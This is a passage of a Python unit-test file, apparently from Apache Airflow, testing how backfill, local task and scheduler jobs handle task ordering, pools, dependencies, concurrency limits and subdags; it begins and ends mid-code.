op1.set_downstream(op3) op4.set_downstream(op5) op3.set_downstream(op4) dag.clear() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), ) job.run() # test executor history keeps a list history = executor.history # check if right order. Every loop has a 'pause' (0) to change state # from RUNNING to SUCCESS. # 6,0,3,0,3,0,3,0 = 8 loops self.assertEqual(8, len(history)) loop_count = 0 while len(history) > 0: queued_tasks = history.pop(0) if loop_count == 0: # first loop should contain 6 tasks (3 days x 2 tasks) self.assertEqual(6, len(queued_tasks)) if loop_count == 2 or loop_count == 4 or loop_count == 6: # 3 days x 1 task self.assertEqual(3, len(queued_tasks)) loop_count += 1 def test_backfill_pooled_tasks(self): """ Test that queued tasks are executed by BackfillJob """ session = settings.Session() pool = Pool(pool='test_backfill_pooled_task_pool', slots=1) session.add(pool) session.commit() dag = self.dagbag.get_dag('test_backfill_pooled_task_dag') dag.clear() job = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE) # run with timeout because this creates an infinite loop if not # caught with timeout(seconds=30): job.run() ti = TI( task=dag.get_task('test_backfill_pooled_task'), execution_date=DEFAULT_DATE) ti.refresh_from_db() self.assertEqual(ti.state, State.SUCCESS) def test_backfill_depends_on_past(self): """ Test that backfill respects ignore_depends_on_past """ dag = self.dagbag.get_dag('test_depends_on_past') dag.clear() run_date = DEFAULT_DATE + datetime.timedelta(days=5) # backfill should deadlock self.assertRaisesRegexp( AirflowException, 'BackfillJob is deadlocked', BackfillJob(dag=dag, start_date=run_date, end_date=run_date).run) BackfillJob( dag=dag, start_date=run_date, end_date=run_date, ignore_first_depends_on_past=True).run() # ti should have succeeded ti = TI(dag.tasks[0], run_date) ti.refresh_from_db() self.assertEquals(ti.state, State.SUCCESS) def test_run_ignores_all_dependencies(self): """ Test that run respects ignore_all_dependencies """ dag_id = 'test_run_ignores_all_dependencies' dag = self.dagbag.get_dag('test_run_ignores_all_dependencies') dag.clear() task0_id = 'test_run_dependent_task' args0 = ['run', '-A', dag_id, task0_id, DEFAULT_DATE.isoformat()] cli.run(self.parser.parse_args(args0)) ti_dependent0 = TI( task=dag.get_task(task0_id), execution_date=DEFAULT_DATE) ti_dependent0.refresh_from_db() self.assertEquals(ti_dependent0.state, State.FAILED) task1_id = 'test_run_dependency_task' args1 = ['run', '-A', dag_id, task1_id, (DEFAULT_DATE + datetime.timedelta(days=1)).isoformat()] cli.run(self.parser.parse_args(args1)) ti_dependency = TI( task=dag.get_task(task1_id), execution_date=DEFAULT_DATE + datetime.timedelta(days=1)) ti_dependency.refresh_from_db() self.assertEquals(ti_dependency.state, State.FAILED) task2_id = 'test_run_dependent_task' args2 = ['run', '-A', dag_id, task2_id, (DEFAULT_DATE + datetime.timedelta(days=1)).isoformat()] cli.run(self.parser.parse_args(args2)) ti_dependent = TI( task=dag.get_task(task2_id), execution_date=DEFAULT_DATE + datetime.timedelta(days=1)) ti_dependent.refresh_from_db() self.assertEquals(ti_dependent.state, State.SUCCESS) def test_run_naive_taskinstance(self): """ Test that we can run naive (non-localized) task instances """ NAIVE_DATE = datetime.datetime(2016, 1, 1) dag_id = 'test_run_ignores_all_dependencies' dag = self.dagbag.get_dag('test_run_ignores_all_dependencies') dag.clear() task0_id = 'test_run_dependent_task' args0 = ['run', '-A', dag_id, task0_id, NAIVE_DATE.isoformat()] cli.run(self.parser.parse_args(args0)) ti_dependent0 = TI( task=dag.get_task(task0_id), execution_date=NAIVE_DATE) ti_dependent0.refresh_from_db() self.assertEquals(ti_dependent0.state, State.FAILED) def test_cli_backfill_depends_on_past(self): """ Test that CLI respects -I argument """ dag_id = 'test_dagrun_states_deadlock' run_date = DEFAULT_DATE + datetime.timedelta(days=1) args = [ 'backfill', dag_id, '-l', '-s', run_date.isoformat(), ] dag = self.dagbag.get_dag(dag_id) dag.clear() self.assertRaisesRegexp( AirflowException, 'BackfillJob is deadlocked', cli.backfill, self.parser.parse_args(args)) cli.backfill(self.parser.parse_args(args + ['-I'])) ti = TI(dag.get_task('test_depends_on_past'), run_date) ti.refresh_from_db() # task ran self.assertEqual(ti.state, State.SUCCESS) dag.clear() def test_cli_receives_delay_arg(self): """ Tests that the --delay argument is passed correctly to the BackfillJob """ dag_id = 'example_bash_operator' run_date = DEFAULT_DATE args = [ 'backfill', dag_id, '-s', run_date.isoformat(), '--delay_on_limit', '0.5', ] parsed_args = self.parser.parse_args(args) self.assertEqual(0.5, parsed_args.delay_on_limit) def _get_dag_test_max_active_limits(self, dag_id, max_active_runs=1): dag = DAG( dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval="@hourly", max_active_runs=max_active_runs ) with dag: op1 = DummyOperator(task_id='leave1') op2 = DummyOperator(task_id='leave2') op3 = DummyOperator(task_id='upstream_level_1') op4 = DummyOperator(task_id='upstream_level_2') op1 >> op2 >> op3 op4 >> op3 dag.clear() return dag def test_backfill_max_limit_check_within_limit(self): dag = self._get_dag_test_max_active_limits( 'test_backfill_max_limit_check_within_limit', max_active_runs=16) start_date = DEFAULT_DATE - datetime.timedelta(hours=1) end_date = DEFAULT_DATE executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, start_date=start_date, end_date=end_date, executor=executor, donot_pickle=True) job.run() dagruns = DagRun.find(dag_id=dag.dag_id) self.assertEqual(2, len(dagruns)) self.assertTrue(all([run.state == State.SUCCESS for run in dagruns])) def test_backfill_max_limit_check(self): dag_id = 'test_backfill_max_limit_check' run_id = 'test_dagrun' start_date = DEFAULT_DATE - datetime.timedelta(hours=1) end_date = DEFAULT_DATE dag_run_created_cond = threading.Condition() def run_backfill(cond): cond.acquire() try: dag = self._get_dag_test_max_active_limits(dag_id) # this session object is different than the one in the main thread thread_session = settings.Session() # Existing dagrun that is not within the backfill range dag.create_dagrun( run_id=run_id, state=State.RUNNING, execution_date=DEFAULT_DATE + datetime.timedelta(hours=1), start_date=DEFAULT_DATE, ) thread_session.commit() cond.notify() finally: cond.release() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, start_date=start_date, end_date=end_date, executor=executor, donot_pickle=True) job.run() thread_session.close() backfill_job_thread = threading.Thread(target=run_backfill, name="run_backfill", args=(dag_run_created_cond,)) dag_run_created_cond.acquire() session = settings.Session() backfill_job_thread.start() try: # at this point backfill can't run since the max_active_runs has been # reached, so it is waiting dag_run_created_cond.wait(timeout=1.5) dagruns = DagRun.find(dag_id=dag_id) dr = dagruns[0] self.assertEqual(1, len(dagruns)) self.assertEqual(dr.run_id, run_id) # allow the backfill to execute by setting the existing dag run to SUCCESS, # backfill will execute dag runs 1 by 1 dr.set_state(State.SUCCESS) session.merge(dr) session.commit() session.close() backfill_job_thread.join() dagruns = DagRun.find(dag_id=dag_id) self.assertEqual(3, len(dagruns)) # 2 from backfill + 1 existing self.assertEqual(dagruns[-1].run_id, dr.run_id) finally: dag_run_created_cond.release() def test_backfill_max_limit_check_no_count_existing(self): dag = self._get_dag_test_max_active_limits( 'test_backfill_max_limit_check_no_count_existing') start_date = DEFAULT_DATE end_date = DEFAULT_DATE # Existing dagrun that is within the backfill range dag.create_dagrun(run_id="test_existing_backfill", state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE) executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, start_date=start_date, end_date=end_date, executor=executor, donot_pickle=True) job.run() # BackfillJob will run since the existing DagRun does not count for the max # active limit since it's within the backfill date range. dagruns = DagRun.find(dag_id=dag.dag_id) # will only be able to run 1 (the existing one) since there's just # one dag run slot left given the max_active_runs limit self.assertEqual(1, len(dagruns)) self.assertEqual(State.SUCCESS, dagruns[0].state) def test_backfill_max_limit_check_complete_loop(self): dag = self._get_dag_test_max_active_limits( 'test_backfill_max_limit_check_complete_loop') start_date = DEFAULT_DATE - datetime.timedelta(hours=1) end_date = DEFAULT_DATE # Given the max limit to be 1 in active dag runs, we need to run the # backfill job 3 times success_expected = 2 executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, start_date=start_date, end_date=end_date, executor=executor, donot_pickle=True) job.run() success_dagruns = len(DagRun.find(dag_id=dag.dag_id, state=State.SUCCESS)) running_dagruns = len(DagRun.find(dag_id=dag.dag_id, state=State.RUNNING)) self.assertEqual(success_expected, success_dagruns) self.assertEqual(0, running_dagruns) # no dag_runs in running state are left def test_sub_set_subdag(self): dag = DAG( 'test_sub_set_subdag', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}) with dag: op1 = DummyOperator(task_id='leave1') op2 = DummyOperator(task_id='leave2') op3 = DummyOperator(task_id='upstream_level_1') op4 = DummyOperator(task_id='upstream_level_2') op5 = DummyOperator(task_id='upstream_level_3') # order randomly op2.set_downstream(op3) op1.set_downstream(op3) op4.set_downstream(op5) op3.set_downstream(op4) dag.clear() dr = dag.create_dagrun(run_id="test", state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE) executor = TestExecutor(do_update=True) sub_dag = dag.sub_dag(task_regex="leave*", include_downstream=False, include_upstream=False) job = BackfillJob(dag=sub_dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, executor=executor) job.run() self.assertRaises(sqlalchemy.orm.exc.NoResultFound, dr.refresh_from_db) # the run_id should have changed, so a refresh won't work drs = DagRun.find(dag_id=dag.dag_id, execution_date=DEFAULT_DATE) dr = drs[0] self.assertEqual(BackfillJob.ID_FORMAT_PREFIX.format(DEFAULT_DATE.isoformat()), dr.run_id) for ti in dr.get_task_instances(): if ti.task_id == 'leave1' or ti.task_id == 'leave2': self.assertEqual(State.SUCCESS, ti.state) else: self.assertEqual(State.NONE, ti.state) def test_backfill_fill_blanks(self): dag = DAG( 'test_backfill_fill_blanks', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}, ) with dag: op1 = DummyOperator(task_id='op1') op2 = DummyOperator(task_id='op2') op3 = DummyOperator(task_id='op3') op4 = DummyOperator(task_id='op4') op5 = DummyOperator(task_id='op5') op6 = DummyOperator(task_id='op6') dag.clear() dr = dag.create_dagrun(run_id='test', state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE) executor = TestExecutor(do_update=True) session = settings.Session() tis = dr.get_task_instances() for ti in tis: if ti.task_id == op1.task_id: ti.state = State.UP_FOR_RETRY ti.end_date = DEFAULT_DATE elif ti.task_id == op2.task_id: ti.state = State.FAILED elif ti.task_id == op3.task_id: ti.state = State.SKIPPED elif ti.task_id == op4.task_id: ti.state = State.SCHEDULED elif ti.task_id == op5.task_id: ti.state = State.UPSTREAM_FAILED # op6 = None session.merge(ti) session.commit() session.close() job = BackfillJob(dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, executor=executor) self.assertRaisesRegexp( AirflowException, 'Some task instances failed', job.run) self.assertRaises(sqlalchemy.orm.exc.NoResultFound, dr.refresh_from_db) # the run_id should have changed, so a refresh won't work drs = DagRun.find(dag_id=dag.dag_id, execution_date=DEFAULT_DATE) dr = drs[0] self.assertEqual(dr.state, State.FAILED) tis = dr.get_task_instances() for ti in tis: if ti.task_id in (op1.task_id, op4.task_id, op6.task_id): self.assertEqual(ti.state, State.SUCCESS) elif ti.task_id == op2.task_id: self.assertEqual(ti.state, State.FAILED) elif ti.task_id == op3.task_id: self.assertEqual(ti.state, State.SKIPPED) elif ti.task_id == op5.task_id: self.assertEqual(ti.state, State.UPSTREAM_FAILED) def test_backfill_execute_subdag(self): dag = self.dagbag.get_dag('example_subdag_operator') subdag_op_task = dag.get_task('section-1') subdag = subdag_op_task.subdag subdag.schedule_interval = '@daily' start_date = timezone.utcnow() executor = TestExecutor(do_update=True) job = BackfillJob(dag=subdag, start_date=start_date, end_date=start_date, executor=executor, donot_pickle=True) job.run() history = executor.history subdag_history = history[0] # check that all 5 task instances of the subdag 'section-1' were executed self.assertEqual(5, len(subdag_history)) for sdh in subdag_history: ti = sdh[3] self.assertIn('section-1-task-', ti.task_id) subdag.clear() dag.clear() def test_subdag_clear_parentdag_downstream_clear(self): dag = self.dagbag.get_dag('example_subdag_operator') subdag_op_task = dag.get_task('section-1') subdag = subdag_op_task.subdag subdag.schedule_interval = '@daily' executor = TestExecutor(do_update=True) job = BackfillJob(dag=subdag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, executor=executor, donot_pickle=True) with timeout(seconds=30): job.run() ti0 = TI( task=subdag.get_task('section-1-task-1'), execution_date=DEFAULT_DATE) ti0.refresh_from_db() self.assertEqual(ti0.state, State.SUCCESS) sdag = subdag.sub_dag( task_regex='section-1-task-1', include_downstream=True, include_upstream=False) sdag.clear( start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, include_parentdag=True) ti0.refresh_from_db() self.assertEquals(State.NONE, ti0.state) ti1 = TI( task=dag.get_task('some-other-task'), execution_date=DEFAULT_DATE) self.assertEquals(State.NONE, ti1.state) # Checks that all the Downstream tasks for Parent DAG # have been cleared for task in subdag_op_task.downstream_list: ti = TI( task=dag.get_task(task.task_id), execution_date=DEFAULT_DATE ) self.assertEquals(State.NONE, ti.state) subdag.clear() dag.clear() def test_backfill_execute_subdag_with_removed_task(self): """ Ensure that subdag operators execute properly in the case where an associated task of the subdag has been removed from the dag definition, but has instances in the database from previous runs. """ dag = self.dagbag.get_dag('example_subdag_operator') subdag = dag.get_task('section-1').subdag executor = TestExecutor(do_update=True) job = BackfillJob(dag=subdag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, executor=executor, donot_pickle=True) removed_task_ti = TI( task=DummyOperator(task_id='removed_task'), execution_date=DEFAULT_DATE, state=State.REMOVED) removed_task_ti.dag_id = subdag.dag_id session = settings.Session() session.merge(removed_task_ti) with timeout(seconds=30): job.run() for task in subdag.tasks: instance = session.query(TI).filter( TI.dag_id == subdag.dag_id, TI.task_id == task.task_id, TI.execution_date == DEFAULT_DATE).first() self.assertIsNotNone(instance) self.assertEqual(instance.state, State.SUCCESS) removed_task_ti.refresh_from_db() self.assertEqual(removed_task_ti.state, State.REMOVED) subdag.clear() dag.clear() def test_update_counters(self): dag = DAG( dag_id='test_manage_executor_state', start_date=DEFAULT_DATE) task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') job = BackfillJob(dag=dag) session = settings.Session() dr = dag.create_dagrun(run_id=DagRun.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti = TI(task1, dr.execution_date) ti.refresh_from_db() ti_status = BackfillJob._DagRunTaskStatus() # test for success ti.set_state(State.SUCCESS, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 1) self.assertTrue(len(ti_status.skipped) == 0) self.assertTrue(len(ti_status.failed) == 0) self.assertTrue(len(ti_status.to_run) == 0) ti_status.succeeded.clear() # test for skipped ti.set_state(State.SKIPPED, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 0) self.assertTrue(len(ti_status.skipped) == 1) self.assertTrue(len(ti_status.failed) == 0) self.assertTrue(len(ti_status.to_run) == 0) ti_status.skipped.clear() # test for failed ti.set_state(State.FAILED, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 0) self.assertTrue(len(ti_status.skipped) == 0) self.assertTrue(len(ti_status.failed) == 1) self.assertTrue(len(ti_status.to_run) == 0) ti_status.failed.clear() # test for reschedule # test for failed ti.set_state(State.NONE, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 0) self.assertTrue(len(ti_status.skipped) == 0) self.assertTrue(len(ti_status.failed) == 0) self.assertTrue(len(ti_status.to_run) == 1) session.close() def test_dag_get_run_dates(self): def get_test_dag_for_backfill(schedule_interval=None): dag = DAG( dag_id='test_get_dates', start_date=DEFAULT_DATE, schedule_interval=schedule_interval) DummyOperator( task_id='dummy', dag=dag, owner='airflow') return dag test_dag = get_test_dag_for_backfill() self.assertEqual([DEFAULT_DATE], test_dag.get_run_dates( start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)) test_dag = get_test_dag_for_backfill(schedule_interval="@hourly") self.assertEqual([DEFAULT_DATE - datetime.timedelta(hours=3), DEFAULT_DATE - datetime.timedelta(hours=2), DEFAULT_DATE - datetime.timedelta(hours=1), DEFAULT_DATE], test_dag.get_run_dates( start_date=DEFAULT_DATE - datetime.timedelta(hours=3), end_date=DEFAULT_DATE,)) class LocalTaskJobTest(unittest.TestCase): def setUp(self): pass def test_localtaskjob_essential_attr(self): """ Check whether essential attributes of LocalTaskJob can be assigned with proper values without intervention """ dag = DAG( 'test_localtaskjob_essential_attr', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}) with dag: op1 = DummyOperator(task_id='op1') dag.clear() dr = dag.create_dagrun(run_id="test", state=State.SUCCESS, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE) ti = dr.get_task_instance(task_id=op1.task_id) job1 = LocalTaskJob(task_instance=ti, ignore_ti_state=True, executor=SequentialExecutor()) essential_attr = ["dag_id", "job_type", "start_date", "hostname"] check_result_1 = [hasattr(job1, attr) for attr in essential_attr] self.assertTrue(all(check_result_1)) check_result_2 = [getattr(job1, attr) is not None for attr in essential_attr] self.assertTrue(all(check_result_2)) @patch('os.getpid') def test_localtaskjob_heartbeat(self, mock_pid): session = settings.Session() dag = DAG( 'test_localtaskjob_heartbeat', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}) with dag: op1 = DummyOperator(task_id='op1') dag.clear() dr = dag.create_dagrun(run_id="test", state=State.SUCCESS, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti = dr.get_task_instance(task_id=op1.task_id, session=session) ti.state = State.RUNNING ti.hostname = "blablabla" session.commit() job1 = LocalTaskJob(task_instance=ti, ignore_ti_state=True, executor=SequentialExecutor()) self.assertRaises(AirflowException, job1.heartbeat_callback) mock_pid.return_value = 1 ti.state = State.RUNNING ti.hostname = get_hostname() ti.pid = 1 session.merge(ti) session.commit() ret = job1.heartbeat_callback() self.assertEqual(ret, None) mock_pid.return_value = 2 self.assertRaises(AirflowException, job1.heartbeat_callback) @unittest.skipIf('mysql' in configuration.conf.get('core', 'sql_alchemy_conn'), "flaky when run on mysql") @unittest.skipIf('postgresql' in configuration.conf.get('core', 'sql_alchemy_conn'), 'flaky when run on postgresql') def test_mark_success_no_kill(self): """ Test that ensures that mark_success in the UI doesn't cause the task to fail, and that the task exits """ dagbag = models.DagBag( dag_folder=TEST_DAG_FOLDER, include_examples=False, ) dag = dagbag.dags.get('test_mark_success') task = dag.get_task('task1') session = settings.Session() dag.clear() dag.create_dagrun(run_id="test", state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti = TI(task=task, execution_date=DEFAULT_DATE) ti.refresh_from_db() job1 = LocalTaskJob(task_instance=ti, ignore_ti_state=True) process = multiprocessing.Process(target=job1.run) process.start() ti.refresh_from_db() for i in range(0, 50): if ti.state == State.RUNNING: break time.sleep(0.1) ti.refresh_from_db() self.assertEqual(State.RUNNING, ti.state) ti.state = State.SUCCESS session.merge(ti) session.commit() process.join(timeout=10) self.assertFalse(process.is_alive()) ti.refresh_from_db() self.assertEqual(State.SUCCESS, ti.state) def test_localtaskjob_double_trigger(self): dagbag = models.DagBag( dag_folder=TEST_DAG_FOLDER, include_examples=False, ) dag = dagbag.dags.get('test_localtaskjob_double_trigger') task = dag.get_task('test_localtaskjob_double_trigger_task') session = settings.Session() dag.clear() dr = dag.create_dagrun(run_id="test", state=State.SUCCESS, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti = dr.get_task_instance(task_id=task.task_id, session=session) ti.state = State.RUNNING ti.hostname = get_hostname() ti.pid = 1 session.commit() ti_run = TI(task=task, execution_date=DEFAULT_DATE) job1 = LocalTaskJob(task_instance=ti_run, ignore_ti_state=True, executor=SequentialExecutor()) with patch.object(BaseTaskRunner, 'start', return_value=None) as mock_method: job1.run() mock_method.assert_not_called() ti = dr.get_task_instance(task_id=task.task_id, session=session) self.assertEqual(ti.pid, 1) self.assertEqual(ti.state, State.RUNNING) session.close() class SchedulerJobTest(unittest.TestCase): def setUp(self): self.dagbag = DagBag() with create_session() as session: session.query(models.DagRun).delete() session.query(models.ImportError).delete() session.commit() @staticmethod def run_single_scheduler_loop_with_no_dags(dags_folder): """ Utility function that runs a single scheduler loop without actually changing/scheduling any dags. This is useful to simulate the other side effects of running a scheduler loop, e.g. to see what parse errors there are in the dags_folder. :param dags_folder: the directory to traverse :type directory: str """ scheduler = SchedulerJob( dag_id='this_dag_doesnt_exist', # We don't want to actually run anything num_runs=1, subdir=os.path.join(dags_folder)) scheduler.heartrate = 0 scheduler.run() def _make_simple_dag_bag(self, dags): return SimpleDagBag([SimpleDag(dag) for dag in dags]) def test_no_orphan_process_will_be_left(self): empty_dir = mkdtemp() current_process = psutil.Process() old_children = current_process.children(recursive=True) scheduler = SchedulerJob(subdir=empty_dir, num_runs=1) scheduler.executor = TestExecutor() scheduler.run() shutil.rmtree(empty_dir) # Remove potential noise created by previous tests. current_children = set(current_process.children(recursive=True)) - set( old_children) self.assertFalse(current_children) def test_process_executor_events(self): dag_id = "test_process_executor_events" dag_id2 = "test_process_executor_events_2" task_id_1 = 'dummy_task' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) dag2 = DAG(dag_id=dag_id2, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) DummyOperator(dag=dag2, task_id=task_id_1) dagbag1 = self._make_simple_dag_bag([dag]) dagbag2 = self._make_simple_dag_bag([dag2]) scheduler = SchedulerJob() session = settings.Session() ti1 = TI(task1, DEFAULT_DATE) ti1.state = State.QUEUED session.merge(ti1) session.commit() executor = TestExecutor() executor.event_buffer[ti1.key] = State.FAILED scheduler.executor = executor # dag bag does not contain dag_id scheduler._process_executor_events(simple_dag_bag=dagbag2) ti1.refresh_from_db() self.assertEqual(ti1.state, State.QUEUED) # dag bag does contain dag_id scheduler._process_executor_events(simple_dag_bag=dagbag1) ti1.refresh_from_db() self.assertEqual(ti1.state, State.FAILED) ti1.state = State.SUCCESS session.merge(ti1) session.commit() executor.event_buffer[ti1.key] = State.SUCCESS scheduler._process_executor_events(simple_dag_bag=dagbag1) ti1.refresh_from_db() self.assertEqual(ti1.state, State.SUCCESS) def test_execute_task_instances_is_paused_wont_execute(self): dag_id = 'SchedulerJobTest.test_execute_task_instances_is_paused_wont_execute' task_id_1 = 'dummy_task' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) ti1 = TI(task1, DEFAULT_DATE) ti1.state = State.SCHEDULED dr1.state = State.RUNNING dagmodel = models.DagModel() dagmodel.dag_id = dag_id dagmodel.is_paused = True session.merge(ti1) session.merge(dr1) session.add(dagmodel) session.commit() scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) ti1.refresh_from_db() self.assertEquals(State.SCHEDULED, ti1.state) def test_execute_task_instances_no_dagrun_task_will_execute(self): """ Tests that tasks without dagrun still get executed. """ dag_id = 'SchedulerJobTest.test_execute_task_instances_no_dagrun_task_will_execute' task_id_1 = 'dummy_task' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() scheduler.create_dag_run(dag) ti1 = TI(task1, DEFAULT_DATE) ti1.state = State.SCHEDULED ti1.execution_date = ti1.execution_date + datetime.timedelta(days=1) session.merge(ti1) session.commit() scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) ti1.refresh_from_db() self.assertEquals(State.QUEUED, ti1.state) def test_execute_task_instances_backfill_tasks_wont_execute(self): """ Tests that backfill tasks won't get executed. """ dag_id = 'SchedulerJobTest.test_execute_task_instances_backfill_tasks_wont_execute' task_id_1 = 'dummy_task' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr1.run_id = BackfillJob.ID_PREFIX + '_blah' ti1 = TI(task1, dr1.execution_date) ti1.refresh_from_db() ti1.state = State.SCHEDULED session.merge(ti1) session.merge(dr1) session.commit() self.assertTrue(dr1.is_backfill) scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) ti1.refresh_from_db() self.assertEquals(State.SCHEDULED, ti1.state) def test_find_executable_task_instances_backfill_nodagrun(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_backfill_nodagrun' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr2.run_id = BackfillJob.ID_PREFIX + 'asdf' ti_no_dagrun = TI(task1, DEFAULT_DATE - datetime.timedelta(days=1)) ti_backfill = TI(task1, dr2.execution_date) ti_with_dagrun = TI(task1, dr1.execution_date) # ti_with_paused ti_no_dagrun.state = State.SCHEDULED ti_backfill.state = State.SCHEDULED ti_with_dagrun.state = State.SCHEDULED session.merge(dr2) session.merge(ti_no_dagrun) session.merge(ti_backfill) session.merge(ti_with_dagrun) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(2, len(res)) res_keys = map(lambda x: x.key, res) self.assertIn(ti_no_dagrun.key, res_keys) self.assertIn(ti_with_dagrun.key, res_keys) def test_find_executable_task_instances_pool(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_pool' task_id_1 = 'dummy' task_id_2 = 'dummydummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task1 = DummyOperator(dag=dag, task_id=task_id_1, pool='a') task2 = DummyOperator(dag=dag, task_id=task_id_2, pool='b') dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) tis = ([ TI(task1, dr1.execution_date), TI(task2, dr1.execution_date), TI(task1, dr2.execution_date), TI(task2, dr2.execution_date) ]) for ti in tis: ti.state = State.SCHEDULED session.merge(ti) pool = models.Pool(pool='a', slots=1, description='haha') pool2 = models.Pool(pool='b', slots=100, description='haha') session.add(pool) session.add(pool2) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) session.commit() self.assertEqual(3, len(res)) res_keys = [] for ti in res: res_keys.append(ti.key) self.assertIn(tis[0].key, res_keys) self.assertIn(tis[1].key, res_keys) self.assertIn(tis[3].key, res_keys) def test_nonexistent_pool(self): dag_id = 'SchedulerJobTest.test_nonexistent_pool' task_id = 'dummy_wrong_pool' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task = DummyOperator(dag=dag, task_id=task_id, pool="this_pool_doesnt_exist") dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr = scheduler.create_dag_run(dag) ti = TI(task, dr.execution_date) ti.state = State.SCHEDULED session.merge(ti) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) session.commit() self.assertEqual(0, len(res)) def test_find_executable_task_instances_none(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_none' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() scheduler.create_dag_run(dag) session.commit() self.assertEqual(0, len(scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session))) def test_find_executable_task_instances_concurrency(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_concurrency' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=2) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr3 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti2 = TI(task1, dr2.execution_date) ti3 = TI(task1, dr3.execution_date) ti1.state = State.RUNNING ti2.state = State.SCHEDULED ti3.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.merge(ti3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(1, len(res)) res_keys = map(lambda x: x.key, res) self.assertIn(ti2.key, res_keys) ti2.state = State.RUNNING session.merge(ti2) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(0, len(res)) def test_find_executable_task_instances_concurrency_queued(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_concurrency_queued' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=3) task1 = DummyOperator(dag=dag, task_id='dummy1') task2 = DummyOperator(dag=dag, task_id='dummy2') task3 = DummyOperator(dag=dag, task_id='dummy3') dagbag = 